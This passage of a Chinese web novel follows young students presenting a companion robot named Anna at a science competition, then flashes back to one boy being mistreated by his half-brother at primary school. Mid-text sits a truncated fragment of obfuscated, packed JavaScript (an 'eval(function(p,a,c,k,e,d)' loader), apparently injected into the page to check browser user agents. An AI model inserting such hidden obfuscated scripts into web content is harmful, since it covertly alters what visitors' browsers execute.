陈丽丽回到了自己的座位。 王翔宇拿起麦克风正要有请下一位志愿者,这时,从评委席上站起来一位中年大叔:“我就不客气地利用评委身份占用这个测试名额了,同学们没意见吧?”他环视全场一周,就一步步走近安娜。 但这次,当这位评委已经离安娜不到一米距离了,安娜还是没有作出反应。现场开始骚乱起来,有人以为是刚才的女生与他们这个小组有什么猫腻。大家又把目光投向站在讲台旁候场的四个男孩。 王翔宇看了看身边的唐晔——那个戴眼镜的问题他们还没办法解决,但如果直说,会不会很减分。话说最近几年怎么这么流行带这样的大粗黑框眼镜啊! 唐晔直接走上讲台拿起麦克风说道:“老师,您好,请麻烦您把黑框眼镜摘掉,行吗?” “我如果不愿摘呢?”评委老师摆明了故意刁难。 “是这样的,我想,如果老师家里有孩子的话,您可能会记得在她还是个婴儿的岁月,肯定曾无数次伸手扯掉您的眼镜。这就是人类在不断地在让眼睛与手共同协同探索这个世界。但您面前的机器人,请原谅它暂时只有图像和声音的输入以及声音的输出,无法像人类婴儿那样手眼共同探索这个世界。所以,当安娜的眼前出现了一个人戴着粗黑框眼镜这样的图形时,她的确暂时没法分辨出您和熊猫的区别。” 观众席上响起了一阵笑声。 唐晔笑笑继续说:“人工智能的发展现在还处于一个起步阶段,就像人类婴儿一样,蹒跚学步。我希望老师像对待我们人类孩子一样,能给予耐心和爱心,让我们的小安娜展示她的能力。” 评委老师也笑了,摘下了他的眼镜。 当安娜向他打完招呼后,评委老师说:“安娜,我很不开心,因为刚才竟然被学生们嘲笑是‘熊猫’。” 听他这么一讲,台上台下很多人吸了口冷气,暗暗为这个队伍担忧。 安娜有点机械地回答说:“这个外号听起来很可爱,如果不喜欢,可以告诉学生们这个称呼并不合适。” 评委老师苦笑着摇摇头:“我心里很不舒服。毕竟作为长辈,我希望能得到孩子们的尊重。” 安娜安慰道:“长辈,或许孩子们只是用这种方式,来表达对您的亲近和喜爱?应该试着从另一个角度去看待这个问题。” “哦?” 安娜继续道:“熊猫是国宝,也是大家喜爱的动物,这说明您在孩子们心中有特殊的地位。” 评委老师说:“这个小家伙还真会安慰人。好吧,我会试着换个心态去看待这个问题的。” 但评委老师的脸还是没有舒展开,他又说:“安娜,我最近工作很忙,已经差不多两个星期没见到家人了。” 安娜还是用机械的声音说道:“我能感受到您的思念之情。家人是我们最重要的支持,长时间分离确实会让我感到孤独和疲惫。” “有时候真的觉得好累,好想回家抱抱她们。” 安娜又说道:“你身为家人的守护者,自身的身心安康同样至关重要。” 评委老师突然笑起来,说:“安娜,我女儿很快就要过生日了,一想到这个,我的心里就充满了期待和喜悦。” 安娜的声音变得柔和:“长辈,女儿是你的骄傲和快乐。” 评委老师点点头,眼神中流露出满满的欣喜:“是啊,她是我心中最珍贵的宝贝。每次想到她那天真无邪的笑容,我都觉得一切都值得了。” 安娜又说:“长辈,我相信女儿会感受到你深深的爱意。” 评委老师微笑着说:“谢谢你,安娜。”又转向大家:“黑盒测试完毕。” 这一刻,会场内爆发出热烈的掌声和欢呼声。安娜的表现超出了所有人的预期,她不仅能够与人进行简单的对话,还能够根据环境做出相应的反应。她的每一句话都显得比较自然和真实。 何嘉南、赵铭轩、王翔宇和唐晔看着舞台上的安娜,心中充满了自豪和喜悦。他们的努力没有白费,他们的梦想正在一点点实现。 他们轮流上台讲述各自负责的部分。 赵铭轩说:“大家好,我负责的是硬件装配,负责陪伴型机器人的各种电路设计与实现。机器人安娜配备了四方向的人型传感器、配备了两个超高清摄像头和四向麦克风。控制系统与执行机构采用先进算法,确保任务执行准确。能源管理优化,保证稳定运行。初中物理知识在设计中广泛应用,如声学,电学等。” 其他人也分别介绍了在这个项目中自己的职责、以及技术要点和遇到的困难等,最后由何嘉南对整个项目作了总结。 刚才的评委老师拿过麦克风说道:“南粤省实中学的四位同学,我看到了你们的课程设计,令我非常激动。我想与你们负责机器学习部分的同学再深入探讨一下,机器关于人类情绪的深度学习。” 唐晔拿起麦克风,对其使用的函数模型作了一番更详细的原理讲解,但也作出了说明:由于时间与样本的问题,这部分的学习模型,来源于M国MM大学的人工智能实验室。 那位评委老师在黑框眼镜下的双目暗暗吃惊,他停了一下,说道:“好,我了解了。但据我所知,在‘情绪解读’这部分,该实验室并未放出开源的模型。请问你是怎么获得的?请注意,我们的比赛是有对项目资金的使用范围是有限制的,我们必须保证没有过多的资本投入,来保证项目的公平性。” “理解,我们并没有在这个项目上花费一分钱。如果需要证明,我可以提供。”唐晔说得十分肯定。 “哦,请出示。” 唐晔打开了他与MM大学人工智能实验室团队的负责人李教授的来往邮件,投送到大屏幕上:“请注意查看电子邮箱地址,您可以在他们网站上找到邮箱地址,或直接发邮件进行确认。今年8月,我个人为他们提供了一个相对完善的古琴谱和米芾行书的深度学习模型。负责人李教授当时坦言,他们资金紧张,且古琴谱和书法相对小众,无法提供金钱回报,但他们承诺,在我需要时,会为我提供一次未开源模块的使用机会——当然,我也需要向他们提供详细的反馈数据——因此,我把握住了这个机会,并将其用于此次需求。这个资源并非以金钱作为回报而获得的。”少年自信满满地朗声回答。 在这份长长的英文邮件最上面,李教授亲切地称他为“来自中国的古风少年”,并高度赞扬了他博古通今,也确实给予了他这一承诺。 “我知道了,为了谨慎,我们会再次确认。那最后一个问题:你认为,如果人工智能继续发展下去,如何确保它的安全、可控和道德性?” 唐晔的脑海里浮现了刚才某一个同样是展示机器人的队伍的一页PPT里的内容,当时大家对这个看似为了撑长度的又有点装逼的版面笑了起来: 白色的底色下,黑色的黑体大字警示着,无论何种情况,机器人对人类的伤害都是被绝对禁止的——那是美国科幻作家艾萨克·阿西莫夫提出的“机器人三原则”。 他浅笑了一下,拿起麦克风继续侃侃而谈:“在刚才的一个参赛队伍的PPT中,展示了科幻故事中常见的‘机器人三原则’。我注意到,当时全场同学们都对此有所议论。这三个原则当时由一位科幻作家提出,旨在阐述创作作品中如何确保机器人与人类的关系和谐、安全且符合道德标准。 确实,在科学竞赛的现场引用科幻读物的理论,乍看去不够严谨。 然而,机器人三原则的中心思想与人工智能技术之间确实存在着紧密的关联。 随着科学技术的飞速发展,如何平衡技术创新与道德伦理之间的关系成为了热议话题。就像我们曾对克隆技术、速冻人体技术、面部识别技术的出现和发展争论不休,如今,人工智能就如同一个新生儿,它拥有无限的可能性和潜力,但同样也需要我们人类的悉心教导和耐心引导。 我们需要用心去教它如何理解我们的语言,如何感知我们的情感,如何与我们互动交流。 同时,我们也要时刻保持警惕,以法律为底线,道德伦理为准则,确保人工智能的发展始终在可控的范围内,避免其带来不必要的风险和危害。 孟子曾言:‘夫水搏而跃之,可使过颡;激而行之,可使在山。是岂水之性哉?其势则然也。人之可使为不善,其性亦犹是也。’ 我认为科学技术亦同此理。科技进步的同时,我们必须确保技术始终是为人类福利和社会进步服务的初心。 因此,这个机器人三原则不仅为机器人行为划定了道德界限,也为人工智能技术的发展提供了伦理和道德上的参考。在推动人工智能技术的创新和应用时,我们应充分考虑这样的原则,确保技术的安全和可控,实现人机和谐共生的美好愿景。” 随着展示环节的结束,他们的智能陪伴机器人选题赢得了在场所有人的赞誉和掌声。 …… 备注:美国科幻作家艾萨克·阿西莫夫提出的“机器人三原则”: 机器人不得伤害人类,也不得因不采取行动而使人类受到伤害; 机器人必须服从人类的命令,但只有在这些命令不违反第一条原则的情况下; 机器人必须保护自己的存在,但只要不违反前两条原则的情况下。 …… 晚上,颁奖仪式暨联欢晚会在酒店的大宴会厅举办。 第一梯队的学生的机考卷面成绩都差别不大,拉开总分的就是自选题材环节了。——很明显,南粤省实中学拔得头筹。 大家惊讶地发现这四名上去领奖的同学里,居然还有两名戴着红领巾。 他们的座位正好与沪城著名中学、就是魔方机器人的队伍一起。两校校长、老师们和同学们两两间隔就坐,相互交谈。 同是研究机器人项目的优秀少年,大家热烈地交流着。他们团队负责机器学习的初三的学长小林,完全不在意这师弟比自己低两个年级,见唐晔能获得MM大学相关研究室负责人的青睐,还把他称为前辈,不耻下问。唐晔这少年一直都乐于助人,有问必答。 几位男孩聊得火热,早上那位戴着黑框眼镜的评委何粤,默默站在他们身后观察了好一阵。他听着他们谈论“卷积神经网络”、“循环神经网络”等前沿算法,而目光却长时间落在唐晔的侧脸上。随后,何粤走上前去,站在唐晔和小林之间,主动向附近的三个男孩打了招呼。 “你好,唐晔同学,小林同学,何嘉南同学。” 他们见有人打扰,稍稍收敛了一下,抬头一看,原来正是早上那位“熊猫”评委。 何粤自我介绍是国家科研院负责人工智能研发中心的人员,又问,“我直接问一下,你们知道什么是Nuit吗?” 整个桌子都安静了下来,两位校领导刚站起来想向他寒暄,他微笑地回了礼,又压了压手掌表示安静,然后,他的目光又扫过每一位同学的脸,面露期待。 但大家的表情一片茫然。 当他的目光投向唐晔时,最小的少年想了想,回答说:“我的哥哥擅长法语,他给我讲过,这单词是法语里‘星空’的意思。” “那你印象中,它还有别的意义吗?”何粤面带微笑地追问。 “没有。” “唐晔同学,注意到你还戴着红领巾,请问你是初一?还是初二?” 唐晔挑了挑眉,又看向何嘉南,俩人不约而同扯了扯红领巾,装得像是霸道总裁扯领带一样,隔着两个人、却互相说:“啧,严肃点!”“你才严肃起来,这可不是领带!” 何粤并不在意他们嘻嘻哈哈,又问一遍:“唐晔同学,请问你的生日是?” 唐晔不情不愿地说:“01年12月24日。” 王翔宇插嘴,“哦,原来你们前几天二人世界,是去帮他过生日去了?” “不然呢?” “你说呢,平安夜,你们俩人……我们能不想歪?” 何粤却没在意孩子们的玩笑,像沉思地说,“时间对不上啊。”又问,“唐晔同学,那你认识一位叫唐晚星的年轻人吗?” 唐晔果断地说:“不认识。” 何粤又不死心地追问:“那认识唐万里吗?” “南粤地区的大’地主’,南粤的谁不认识呀!”唐晔嘴里打着哈哈,刻意忽略掉刘校长欲言又止的举动。 何粤笑笑,对男孩的态度不以为忤。对他说:“唐晔同学,我并无恶意,只是非常欣赏你。何嘉南同学,你也非常出色,以初中一年级身份,对于力学部分的卷面测试完成度非常高。你爸爸何西博士一定也花了很多心思在你身上,小林同学,还有在座的各位同学,你们出色得出乎我意料。” 何粤走后,几分钟前就站在著名中学的女队员旁的一位穿着合体浅色刺绣珠光旗袍、拿着琵琶、看上去正在准备登台表演的一位面容姣好的女孩,刚才一直用那双灵动的黑眼睛专注地看着他们几人,这时突然柔声打了个招呼:“唐晔同学,你好!我是宋兰心。”她停顿了一秒,又快速说道:“宋世杰的女儿。” 唐晔延续了刚才与何粤扯皮时有点无赖的态度:“谁呀?不认识!” “宋世杰你都唔识?!边条村架你!”南粤的几个崽子一听到“宋世杰”的名字,都憋不住哄笑了起来,毕竟连续紧张了一个多月的脑筋终于松了下来,男生们都不太注意风度和礼貌了—— 在他们儿童时代特别流行周星星的电影,其中,《审死官》这部片子里面,状师宋世杰的经典语录,谁都能背上几句: “有时候你发现你爱上一个你讨厌的人,这段感情才是最要命的。” “快乐总是短暂的,换来的却是无穷无尽的痛苦和长叹。” “生亦何欢,死亦何苦。” 他们几人用夸张的粤语一句一句表演着,连沪城的几个男生也被逗得哈哈大笑起来。只有那位女队员气愤不已地为自己朋友鸣不平。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梁一民望着张亦晨离去的方向,嘴角扯出一个麻木的笑。 母亲的生命面前,前途,算什么? 他默默地站在阳台上,任由微风拂过脸颊,带走心中的沉重和无奈。 周日中午,从沪城回程候机时,恰好与同市广亚的参赛队伍不期而遇。 校长、老师们互相寒暄着,而赵铭轩与一个在广亚的小学同学久别重逢,热情洋溢地交谈着。大家都是怀揣着对科学的热爱与憧憬的少年,一见面便如同找到了知己,迅速地融入了这个大家庭。 广亚的几位同学纷纷表示,梁一民和张亦晨未能参赛,实在是有些遗憾,也对省实能派出一年级的学生参赛表示了惊讶与好奇。 而王翔宇则轻轻搭着小师弟唐晔的肩膀,将他拉到自己身边,微笑着说道:“这次比赛可是梁一民主动让位给这小朋友。如果不是他,我们夺冠之路恐怕,难!” “你们确实厉害,原本我们看到你们的课题是固定程序机器人时,心里还有些轻视,觉得你们太过保守。没想到你们竟能在短短一个月内将它改装成功。”广亚的师兄师姐们对这个年纪尚小,却才华横溢的小师弟既佩服又好奇。 然而王翔宇笑着摇了摇头,揉着唐晔的头发说道:“这小朋友厉害是厉害,在他手下是学到不少,不过我以后可不想在这样的BOSS手下干活,命都快没了。第一个星期,我每天都得熬到凌晨一点钟才睡觉。这家伙对进度的把控严得可怕,他给我列了个时间表,连每小时的工作进度都安排得明明白白。我第一次看到这样的工作计划表,差点没吓吐血。真是个会剥削劳动人民的小资本家!” 唐晔闻言,嘟起了小嘴,抱怨道:“那你当时没跟我说呀!” 王翔宇翻了个白眼说:“那时候咱们还不熟,我总不能说‘师兄我搞不定’吧?那也太没面子了。”说完,他又揉了揉唐晔的头发。 唐晔噘起嘴说:“面子这种事情,只有愚蠢的人类才会在意!”他抱着脑袋跑回何嘉南身边,在何嘉南的保护下,朝王翔宇扮了个鬼脸。 “你过来哥保证不揍你!”王翔宇假意要揍他,唐晔连忙躲在何嘉南后面,引得众人哄笑不已。 登上飞机后,唐晔与何嘉南坐在一起,两人凝望着窗外,心中充满了对未来的憧憬与期待。 两人已经从这次比赛窥见世界的广阔与壮丽,那些未曾踏足的土地、未曾领略的风景,都在向他们招手,呼唤着他们去探索、去征服。 他们拉钩约定,将来要凭借自己的才智与能力,走遍世界的每一个角落。 下了飞机,大家一脸疲惫地拿上行李、步出航站楼时,没想到广亚的学生会竟组织了接机拉拉队,十几个学生穿着广亚的校服、拿着鲜花,在接机口不远处拉了大大的“庆贺本校获得全国中学生物理联赛二等奖”的横幅,还有小记者对他们一头乱发、衣着随便、推着行李车、手里大包小包的样子大拍特拍。 这场景,好不热闹!广亚的几个同学感动得一脸的欲哭无泪,纷纷打起精神整理衣服头发。 看到他们学校热闹哄哄,又回头看看自己的四个拼尽全力得了金奖的学生,却水静河飞的没人搭理,刘校长有点愧疚地对自家四个崽说:“对不起,我想着你们都累了,早点回校放好东西、早点回家休息,明天周一校会时再表彰的……” 四位学生纷纷赞同:“对,我们的确累了,校长妈妈想得太对了!”心里想的是:机场人来人往,累得□□却要强打笑脸、众目睽睽被人看猴子似的,谁愿意出这个名啊! 他们静悄悄地拉上行李箱,静悄悄地在广亚的热热闹闹的拉拉队圈子旁经过。 广亚的副校长热情地挽留省实刘校长及参赛队伍,并邀请两校成员共同合影留念。刘校长盛情难却,便让四个学生与他们一同拍了照。 照片拍完后,几人急忙离开。然而,在广亚的拉拉队中,突然有个女孩小声地叫住了唐晔:“唐晔,好久不见!恭喜你!我知道你一定能赢。” 唐晔回头望去,只见一个陌生的女孩站在人群中,眼神中透露出几分熟悉。他心中略感疑惑,但出于礼貌,还是微笑着点了点头,“谢谢!” 女孩似乎看出了他眼神里的陌生和疑惑,便走前一步,笑着说道:“你不记得我了?我是方雨晴。”说着,她撩开额头的发荫,露出自己的脸庞。 唐晔努力回忆着,但脑海中却并无这个名字的印象。他有些尴尬地笑了笑,“你好!对不起,我不太记得了。” 方雨晴感到很奇怪,但表面仍笑了笑,继续说道:“还没想起来?小学时你坐我前面的。” 听到这里,不但唐晔疑惑,何嘉南也疑惑起来,心里嘀咕:“不是说这家伙从小被关在家,没上过小学吗?” “你真的……不记得我了吗?”那个女生终于发现不对,又走前了一步。 “呃,那个……”唐晔突然紧张和害怕起来,又好像漏掉了一些很重要的事情一样。 这时,突然有个人从后面抱住他,又对那女孩说:“小姐姐,这种搭讪手段太老啦!” 他们回头一看,原来是唐天和何柏文来到机场接他们。唐晔一见到唐天,亲密地整个人倚在他怀里,甜甜地叫道:“哥哥!” 而那女孩看到他们兄弟二人间的亲密互动,眼里染上浓重的疑惑,“唐天?你们俩怎么会……” “哥你认识她?”唐晔微微侧头,从唐天肩膀上探出头来,打量着这个对于他来说陌生的女孩。 唐天眉头紧皱,摇了摇头,声音中透着一丝不耐:“不认识。走吧!”他一手接过唐晔手中的行李箱,另一只手自然地搭在弟弟的肩膀上,试图将他带离这个环境。 唐晔却有些犹豫,他回头望了望那个女孩,又转头看向唐天,眼中满是探寻,似乎对这个突然出现的女孩充满了好奇。等他回过神,已经被唐天拉着往前走了好远,他忙对唐天说,“我们还要回学校放好东西呢!” “不会吧?!这么远跑过来接你,就是想你能在车上好好休息下……好吧,那行李先给我,帮你拿回去。” 等唐晔和何嘉南跟老师们走了之后,方雨晴尾随在唐天身后,说:“唐天,你明明记得我,为什么要撒谎?” 唐天无奈地转过身,表情十分警戒:“方雨晴,你真的很烦。” “告诉我,你们俩的关系怎么会变成这样?唐晔他,又究竟发生了什么事?他五一过后上了几天学、为什么就一直没再来学校了?你又对他做了什么?”方雨晴逼视着唐天。 “我没有再对他做什么了!他全部忘了!请你不要再出现在他面前、不要再提醒他了。行吗?!” “他忘了?他怎么忘得了……你以为他忘了,就可以抹杀掉你们对他做的一切吗?” “对!我就是希望,他永远也不要再想起,……有那么些人曾经那样对待过他,包括你!包括我……” 13. 第 13 章 从机场回程的车上,何柏文侧头看看刚刚就看着窗外一言不发的好友,还是忍不住出声:“你没事吧。” “……何柏文,我是个很差劲的人,很坏很坏。坏到,如果你听我说了,你一定不愿意再跟我做朋友了。”唐天的声音里失去了一贯的神采飞扬。 “你不想说就不说。我们认识有四个月了吧,如果我觉得你本质很坏,也不可能和你做朋友。” “我本质不坏?不,我坏到骨子里了……”他把车子前后排的隔音升了起来。 ——记得我第一次见到他时,他瘦得像个猴子,可能是身体有病的原因,连走路也弓着身体,一拐一拐的,奇奇怪怪,不怎么会说话,巴掌大的脸上却有一双巨大而明亮的眼睛,视线锐利得直戳人心。 我有些害怕这个与众不同的小孩。我听爸爸说他是我的弟弟,但又不是我妈妈生的,不知道是谁的孩子。但我们从来没见过这样长相和行为都有点怪异的孩子。 我很少回爷爷家,而那个怪小孩被我那个怪爷爷关在他们家,再见到他时,是我7岁生日后的元旦了。 看到他的身影时,我不自觉地躲在门柱后面,他穿着一件紫色的宽松小袍子,站在一棵树下,对着一个树洞说着什么。当他转过脸时,大半年不见,他长开了,背也挺直了,变得比之前强壮了一些,脸也有肉了。 我第一次发现他这么漂亮,皮肤白白的,眼睛是漂亮的墨蓝色。 但正如那个年纪的人很不擅长表达自己的喜欢一样,他的眼睛里映衬着我、咧开嘴笑着向我奔跑而来时,我却推开他。 像在幼儿园里扯漂亮女孩的辫子、抢她们手里的玩具一样,只因为想引起她们的注意、和她们玩。对这个漂亮的弟弟,我也这样做了。 “做得好!”有人在我身边,为我的这些行为鼓劲。 他在我几步以外,瞪着漂亮的眼睛微微侧头看着我。 我很好奇他除了这个表情,还会不会有别的表情?我向前一步,他定在那里,我再向前一步,他还是定在那里,直到我走到他面前,居高临下地盯着他,他还站在那里抬着头一动不动。 他的眼睛突然弯了起来,变成一个好看的弧度,嘴角扬出一个甜甜的微笑,对我伸出手,大概是想和我握手。 突然,我妈妈冲过来,一把把这个矮了我一个头的瘦弱孩子推倒在地上,嘴里发出威胁的低吼:“不要用你的脏手碰我儿子!” 他的手,脏?一定是。我的母亲这样说,我就信了。 保姆们告诉我,因为他身上流着最肮脏的血液,合该不存在于这个美好的世界上。我的保姆从小在我身边照顾我,她们说的,我就信了。 我发现,当我每次对他做出任何举动时,都有旁人为我叫好。在他们的欢呼声里,对于这种行为的正确性,我就信了。 当然,在祖父与父亲面前,我不会对他做什么,因为祖父最得力的助手、那位比我父亲年纪还大些的方伯伯告诫我,祖父不会喜欢我这种行为。 渐渐地,我见到这个弟弟的机率越来越少。只有在全家人、以及一些宗亲和企业老臣面前,我才有机会见到他,而他的头脑聪明得让人妒忌。在他面前,我简直张不开口。 我更讨厌他了。 2014年2月底,当他们还是小学六年级的下学期时—— 寒假结束。大人们同声喊着一句恶毒的咒语,“神兽归笼!”毫不留情地一脚把自家娃娃们踹回了学校。 归秀兰也不例外,有多疼爱唐天,就有多想他早日回到学校去正正规规接受教育。上学期考得挺不错,上学期的家教白勇过完春节,又继续被请回来他们家帮她看顾两孩子。 开学日一早,方源又来到他们家,专门给唐晔送来一件宝贝:盛装在小小锦盒里的一支毛笔。 小孩见过的好东西多了,起初有点儿不以为意,但他轻轻把这杆素笔拿起握在手里时,木质笔杆做工质朴,有金石的刚硬却又触手温润,就着落地窗一看,笔尖上黛紫色毛发细腻而富有光泽。他轻轻地把笔身转过来,上面刻着一行行书小字:“赠吾孙唐晔,癸未年癸未月甲申日巳时一刻诞辰。” 唐天凑过来一看,“什么呀,一支破毛笔!”他劈手抢过来,念道“癸未年癸未月……妈妈,上次我记得去一个什么庙里祈祷,你帮我写的我的生日是辛什么?我当时还说我出生在辛年,所以学习太辛苦了呢!” 方源笑着说:“二少爷你出生于辛巳年庚子月。当日你初入校门,老爷也有向你赠过同样的毛笔,寓意开笔吉祥,是为祝你在学习生涯中一帆风顺。虽然三少爷已不是第一天读书写字,但既是首日到校,仪式感还是要有的。” “那赶紧把这破笔给扔了吧,小晔。你看这么多年,这笔一点都没有保佑到我。”唐天嚷道,作势要把这支笔扔进垃圾桶。 唐晔急了,一只手紧紧抓住他的手腕,另一只手就想把笔抢回来:“给回我!” “不给!”唐天逗他玩。 弟弟手脚修长,差点儿就能够得着。这时,唐天看见父亲的身影出现在走廊里,免得父亲骂自己,赶紧说:“好了好了,开个玩笑嘛,这么大反应,没意思!”他把笔塞回弟弟手里。 唐晔有点儿不相信似的,瞅了他一眼,赶紧把笔小心翼翼放进锦绣小盒子里,又郑重的放进书包。 昨天还是陈姨提醒太太,归秀兰才勉为其难的带他去书店买来了各种文具。 方源不动声色地嘱咐道:“三少爷,这支毛笔,请您务必妥善收藏,切勿轻易示人。” 唐晔很正式地回答:“祖父所赠,我必用心珍藏,时时感念爷爷的恩情。”便蹬蹬蹬跑到楼上房内放好。 两个孩子的学校在番禺。唐晔第一次坐车到校,满怀欣喜。但是却在没到学校的时候,唐天就让司机停下来,开了车门指了指外面,“学校很快到了,你沿着这条路走一直走到尽头,看到吗?就是那栋浅蓝色的大楼那儿,往右一拐就看到大门口了。” 唐晔疑惑的问:“为什么要我走这么远?” 唐天又说:“你可别在学校里告诉别人,你是我的弟弟,我讨厌这样。别告诉别人你认识我。记得了,我们一点关系都没有。我在学校里有仇人,你记得别跟我扯上关系。”他有点不知怎么跟朋友们解释这突然多出来的家人。 唐晔默默地应了一声。 “记得今晚你还是在这个地方上车。” 唐晔自己背着书包步行到校,只见一位笑容甜美的女老师已站在门口等候。她自我介绍姓李,并确认了男孩的名字后,便领着他进入学校,上了教学楼。 李老师惊讶于唐晔独自上学,问道:“你的爸爸妈妈没有和你一起来吗?” 男孩不解地反问原因。 李老师解释道:“因为你是转学生,第一次过来学校,通常爸爸妈妈都会过来,了解你的学习生活环境。” 唐晔摇头表示:“不需要,我自己一个人就可以。” 私立小学的李老师对这种情况已见怪不怪,知道许多父母忙于工作无暇顾及孩子。况且,唐晔看起来温顺懂事。进入教室后,李老师拍了拍讲桌,在黑板上写下唐晔的名字,向同学们介绍这位新朋友。 由于男孩身材不矮,李老师将他安排在倒数第二排的一个位置。唐晔坐下后,左右两边的同学都友善地向他微笑。老师还安排了班长中午带他吃饭、午休等事宜。 新来的男孩有些羞涩,但还是感激地接受了大家的善意。 就这样,唐晔开始了他在新学校的第一天。虽然一切都是陌生的,但他一直相信,只要他勇敢地迈出每一步,就一定能够找到属于自己的那片天空。 他在课间看到邻班的唐天在与同学打闹,又一个课间听见他在自己班教室后面开演唱会,身边围着一群男孩女孩。他想,哥哥真受欢迎,我好羡慕他!真希望自己也有这么吸引人的本领,真希望自己也有那么多好朋友。 他跟随同学一起去围观时,与唐天对视了一眼,哥哥的视线冰冷。他赶紧低下头,一定要紧记与哥哥的约定,在学校里装作不认识他。 两三个星期一晃而过。他不擅长与人交流,但学习成绩挺好,同学问他问题也乐于回答,总算是与前后左右的同学都认识了。 三月下旬的一天,天空阴沉沉的。那一天,唐天落了单,三个小“跟班”不是感冒请假就是有事没来。本来他打算在教室里猫上一整天的。但上午不慎夸了海口的他,中午,虚荣心迫使他独自走在两座教学楼之间的巷子。 突然,急促的脚步声打破了寂静,五个得意洋洋的少年将他围住,哼,不就是整天像口香糖残渣那样甩也甩不走的杨阳那帮人么。 唐天的心跳加速,妹的,他们五狗队要以五打一啊!这次恐怕自己难以逃脱。他开始意识到,邻座的女生请求他帮自己拿回东西,估计就是他们设下的陷阱。 “天哥,吃饱了?!怎么自己孤伶伶的?”杨阳的笑声在狭窄的巷子中回荡,充满了挑衅和戏谑。他的眼神里闪烁着得意的光芒,仿佛已经看到了唐天败下阵来的情景。他身后的四个跟班也跟着哄笑起来。 唐天被他们的叫嚣声包围,他深深地吸了一口气,试图平复内心的熊熊战意:他不可以再打架,他有了希望、要考上重点中学,现在可就不能再背任何处分了。 “怎么?天哥今天没带小弟出来啊?”杨阳继续挑衅道,他的眼神在唐天身上扫视着,似乎在寻找着可以嘲讽的地方。 唐天没有说话,只是冷冷地盯着杨阳。他知道,这个时候最好的应对方式就是保持沉默,不给对方任何动手的借口。 杨阳见唐天没有反应,心中不禁惊奇,他原本以为唐天会像他以往一样,一遇到挑衅就会立刻反击。但这次,唐天却出乎意料地表现得异常冷静。 “看来你今天是吃哑药了。”杨阳冷笑一声,说着便伸出手来,想要推搡唐天一把。 唐天早有准备,他迅速躲开了杨阳的手,同时一个转身,将杨阳的手反扣在背后。这个动作让杨阳和他的四个同伴都愣住了,他们没想到唐天会如此果断地反击。 “别以为小爷我不知道你们设的陷阱。”唐天冷冷地说道,他的眼神中透露出一丝霸气,“小爷我不会让你们得逞!” 说着,他用力将杨阳推开,然后拔腿就跑。他知道,这个时候逃跑是最好的选择。他穿过巷子,跑过操场,一直跑到学校的后门、靠近教师宿舍楼才停下来。他暗骂自己昏了头:“方向跑反了!” 而那五块口香糖残渣正准备继续粘上来。 就在他背靠铁栏杆准备还击的时候,有个男生跑了过来,气喘吁吁地大喊:“校长出来了!”这突如其来的一句话,让那群少年惊慌失措。 杨阳回头一看,是自己班里的转学生唐晔。这个人又瘦又高,平时沉默少言,说话也柔声细气。 他对这新来的家伙本来没啥兴趣,但那天他家教没来、没人帮他做作业,想着午间随便抓了一个人拿作业给自己抄,刚好就碰到这个新同学。在他哄骗这新同学自己手扭伤了昨晚无法写字时,目光单纯的新同学居然就信了,说,“你说答案,我帮你写”,便提笔给自己写起来。这新丁一边写一边考他作业里的问题,遇到他不会的他还耐心讲解给他听。杨大佬不记得那天自己咋就这么无聊,和这什么鸟人啰哩八嗦一大堆! 不过,第二天当自己送了这呆头呆脑的新丁一大块巧克力之后,他居然眼光熠熠看着自己,好像很感动的样子——其实那是外婆去俄罗斯旅游给自己带回的黑巧克力,没有奶和糖,苦苦的,自己一点儿不爱吃才送给这新同学的,而现在看他满怀感激地看着自己,反而不好意思起来。 当时他一手臂搭着唐晔的肩膀,说:“以后在学校里,要是有人欺负你,报上阳哥我的大名!” 这新同学露出甜甜的笑容,他似乎交上了第一个朋友。 课间,唐晔总会教他们几个做作业,他讲得又简单又好记,至少兄弟几人上一次考试能得c甚至B了。 这时,见唐晔跑来喊这一嗓子,杨阳虽可惜也不疑有它,叫上兄弟们就走,临了还不忘拖上这个身高腿长却笨拙蹒跚的唐晔。 放学时,唐晔像以往几星期一样走到与唐天约定的地点,敲了敲玻璃窗,车门并没有打开。他又敲了敲,再敲了敲,又等了好一会儿,司机伯伯才给自己开了门。 他刚迈腿上车、甚至还没坐稳,唐天就捏住他脖子把他按在车的进门处,喉咙里发出威胁的低吼:“你为什么要跟杨阳他们在一起?”唐天没有和任何人说过他们的兄弟关系,自然也不会有人给他报告一个邻班转学生的交友情况,倒是有人告诉他杨阳好像又多收了个小弟,他没以为意,快毕业了,还那么幼稚地扩充地盘呢? “他们是我的同班同学,为什么不能跟他们在一起!”他们几个做作业时太有趣了,而且至少几个朋友不会一伸手就掐我脖子。 “你不知道他是我仇人?” “不知道。而且大家都是同学,什么叫仇人?” “巧舌如簧!” “我没有胡说!而且今天我明明是为了救你!” “哼,你最好别起什么坏心思。”唐天松开了手。 关好车门,司机提醒两位小少爷扣好安全带出发。唐晔在车上坐好,眼神却一直看着窗外,喉骨被唐天捏得生疼,甚至都不想去动一下。 唐天看着他的表情,一瞬间有过那么一点点后悔——当自己看到弟弟被杨阳拖走时是如此愤怒,他背叛了自己!但中午他的行为,确实是救了自己。唐天犹豫了一下,拿出书包里的牛肉干,分给弟弟一块。 唐天在示好?那一瞬间唐晔不想接,多少次都是这样,自己哄他开心了他就给自己甜头,只要让他有一点点不开心,他就动手动脚——自己甚至都没搞明白他不开心些什么;自己甚至也不明白期待他能改变些什么?期待他有天能对自己包容一点?但自己究竟做错了什么? 唐天见他没马上接过去,又提高一点音量,“吃!” 原来,连不接受道歉也是不被允许的。 但生活总得继续下去,不是吗?他转头对着哥哥笑笑,接受他的示好。牛肉干很硬,他还在换牙,不喜欢吃太硬的东西,不过还算能嚼下去。没有人会在意他咽得喉咙生疼。 生活在平静之下总是暗藏着波澜。就在第二天快放学,自习课上,阳光斜洒在教室的窗户上投下斑驳的光影,一片安静祥和的氛围被突如其来的惊呼声打破——坐在后排的一个叫方雨晴的女生,脸色苍白,双手颤抖着翻找着自己的书包,突然尖叫起来:“我的IPAD呢?我的IPAD怎么不见了!” 女生慌张而尖锐的声音在教室里回荡,引来了一片议论纷纷。平板电脑在学校里是禁止携带的物品,但此刻,她似乎已经顾不得这些规矩了,心中只剩下焦急和恐慌。 